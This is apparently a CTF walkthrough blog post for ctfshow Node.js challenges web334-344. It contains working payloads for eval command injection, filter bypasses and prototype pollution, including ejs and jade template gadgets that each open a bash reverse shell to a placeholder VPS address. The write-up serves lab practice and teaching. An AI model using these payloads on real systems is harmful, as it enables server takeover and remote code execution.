ctfshow NodeJs web334-web344 wp

what is nodejs

Node.js is a Javascript runtime environment based on the Chrome V8 engine. It can be said that nodejs is a runtime environment, or a JS language interpreter rather than some kind of library

Nodejs is a C++ program developed based on Chrome's V8 engine to provide a JS runtime environment. At first, Nodejs was mainly installed on the server to assist everyone in developing high-performance server code with JS, but later Nodejs also shined in the front-end, bringing a revolution in front-end web development. There are two ways to run JS code under Nodejs, one is to run in the interactive environment of Node.js, the other is to write the code into a file, and then use the node command to execute the file code. Nodejs and browsers are different environments, so pay attention to these differences when writing JS code.

web334

user.js found username: 'CTFSHOW', password: '123456'

The source code is in login.js. If you find that the login is successful, you will get a flag, that is, focus on the login part.

var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

The requirement is that name is not equal to CTFSHOW. The second line of users.find is to take the user.js part, item.username=CTFSHOW, which means that the uppercase name of CTFSHOW can also pass the judgment, so the account password can already be obtained here.

username:ctfshow
password:123456

Login to get flag

web335

Source code discovery/?eval=

Then pass a ?eval=ls, the echo is that the file cannot be found, so it may be to include a file or something

But after testing, I found that even index.php could not be found, so I passed another eval=1, and echoed a 1 in index.php

insert image description here

Considering that this is nodejs, there is a good chance that eval is the executed eval function.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

Check out the child_process of the nodejs documentation: http://nodejs.cn/api/child_process.html

Note:child_process.exec(command[, options][, callback])

So construct a payload

require("child_process").execSync('ls')

Find flag: fl00g.txt, just cat

web336

It is still eval, but the previous payload will display tql, indicating that it needs to be bypassed here

Test it, filter the exec string

Here is a way to splicing exec to bypass

require("child_process")['exe'%2B'cSync']('ls')

Take a look at wp, you can see the source code here

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

So pass ?eval=__filename to see that the path is /app/routes/index.js

Then pass eval=require('fs').readFileSync('/app/routes/index.js','utf-8') to find that exec and load are filtered

web337

source code

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);
  }else{
    
    
  	res.render('index',{
    
     msg: 'tql'});
  }
  
});

module.exports = router;

To pass in a and b, a and b must be true, a and b have the same length, a is not equal to b, a+flag and b+flag are equal after md5, then output flag

I seem to have seen this before, but I really forgot. It seems that there is one in the original theme section of the competition. There is definitely one in the original theme section of the CTFSHOW competition. I did it at the time, there must be!

The first thing that came to mind was to pass an array to bypass, but the test found that it didn't work, so I used the console to debug it.

insert image description here

The console tested it and found that the two values ​​are not equal

insert image description here

It is found that the values ​​passed in this way are equal, that is, passing a[:]=1&b[:]=2 can bypass

web338

The same login interface as the first question, download the source code and unzip it

First pass a random 123 123, and echo the login failure {"username":"123","password":"123"}

Look at the source code and see the login section in routes/login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    
    
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
});

module.exports = router;

which also requires a utils/common

//common.js
module.exports = {
    
    
  copy:copy
};

function copy(object1, object2){
    
    
    for (let key in object2) {
    
    
        if (key in object2 && key in object1) {
    
    
            copy(object1[key], object2[key])
        } else {
    
    
            object1[key] = object2[key]
        }
    }
  }

The flag will be printed whenever secert.ctfshow==='36dboy'. The test site is the pollution of the prototype chain . For the first time, see what P God wrote.
Deep Understanding of JavaScript Prototype Pollution Attacks

By the way, when I looked at it, I found that common.js and the JS in the example of P God can be said to be exactly the same

So try to pollute the Object class and add the {"ctfshow":"36dboy"} attribute. Change it when sending the package

insert image description here

Because of prototype pollution, the secretobject directly inherits Object.prototype, which leads tosecert.ctfshow==='36dboy'

insert image description here

web339

Added and modified in login.js

//login.js
function User(){
    
    
  this.username='';
  this.password='';
}
function normalUser(){
    
    
  this.user
}
......
if(secert.ctfshow===flag){
    
    
    res.end(flag);
......

In addition, a new api.js has been added

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  res.render('api', {
    
     query: Function(query)(query)});
});

module.exports = router;

new knowledge again

expected solution

The flaw is inres.render('api', { query: Function(query)(query)});

The query variable in Function is not referenced, and rce can be performed by assigning any value to it through prototype pollution.

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

After the index interface POST, you can directly POST to access the api interface

The new server that Madd bought forgot to open the security group. I played hard for 20 minutes, and Bengbu lived.

flag is in login.js

insert image description here

This means success

insert image description here

unexpected solution

ejs template vulnerability leads to rce (Code-Breaking 2018 Thejs question (see P God blog, just the previous link))

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

The method of using the payload is the same as above. First, the index sends the package and then the api sends the package.

web340

This time, there are many definitions in the login.

//login.js
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
    utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
   res.end(flag);

Two levels of pollution are required here, you can read Master Yu's blog https://blog.csdn.net/miuzzx/article/details/111780832#web339_48

There is an example

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

web341

This time, the api was deleted, and the login was also changed.

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
    return res.json({
    
    ret_code: 0, ret_msg: '登录成功'});  
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

Here, the unexpected of 339 is used, which is the expected solution of this problem. Note that it is necessary to nest, because it is a revision of the 340.

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

Then you can access the interface casually, for example, refresh the home page, and after connecting, directly enter env to see the environment variables to find the flag

insert image description here

web342-343

It is said that it is jade rce (https://xz.aliyun.com/t/7025), because I have not gone to understand, so I will play according to the masters here.

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

When sending the package, the "Content-Type" in the request header is changed to "application/json"

insert image description here

Looking for flag is still env

web344

router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
    
    
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    
    
  	res.end(flag);
  }else{
    
    
  	res.end('where is flag. :)');
  }

});

The comma is filtered, and even %2c is filtered, and then %2c is also a comma

Anyway, to pass?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

Here, you can directly encode the parameters to be passed to the URL.

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

Guess you like

Origin blog.csdn.net/qq_42880719/article/details/122567506